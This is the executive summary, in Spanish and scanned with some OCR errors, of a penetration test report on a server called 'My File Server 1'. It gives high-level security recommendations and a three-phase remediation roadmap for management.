Riesgo Residual Evitado

NIVEL DE RIESGO GLOBAL: CRITICO

B Falla Estructural Explotada




Recomendaciones Estratégicas

Defensa Tecnholdgica Inmediata

e Retirar informacion sensible (como readme.txt)
accesible desde la red.

e Endurecer los servicios expuestos y revisar los
mecanismos de acceso remoto.

e Rotar credenciales comprometidas y aplicar
parchado formal del servicio/kernel.

Gobernanza a Largo Plazo

e Implementar modelos de endurecimiento de
servidores (Ej: CIS Benchmarks).

e |ntegrar soluciones automatizadas de Endpoint
Detection & Response (EDR) en servidores clave.

» Establecer revisiones periddicas (Vulnerability
Assessments) como politica obligatoria antes de
liberar entornos.



Roadmap de Remediacion Tecnhologica

‘ Fase 1: Contencion (Inmediata / 24 hrs)

Aislamiento del servidor, parchado de emergencia del servicio expuesto y revocacion de sesiones activas. Cierre
de la brecha técnica (Band-aid fix).

Fase 2: Erradicacion (1- 3 Semanas)

Hardening integral aplicando politicas de minimo privilegio. Re-diseno de reglas del firewall interno para aplicar
segmentacion (Zero Trust en red local).

Fase 3: Madurez (Trimestre actual)

Despliegue de herramientas de telemetria y monitoreo (SIEM/EDR) para respuesta temprana. Ejecucion de un "Re-
test" ofensivo para confirmar postura segura.



Conclusion Directiva

"La evaluacion de My File Server 1 demuestra de manera irrefutable que las defensas actuales
son insuficientes ante adversarios dirigidos modernos. El compromiso documentado pone de
manifiesto que el esquema defensivo debe evolucionar urgentemente de un paradigma
reactivo a uno preventivo e inteligente."

Llamado a la Accion:

Se recomienda a este comité directivo la habilitacion inmediata de los recursos
técnicos para ejecutar la Fase 1 de contencion, protegiendo asi el patrimonio
operativo de la organizacidn dentro de las proximas 24 horas.



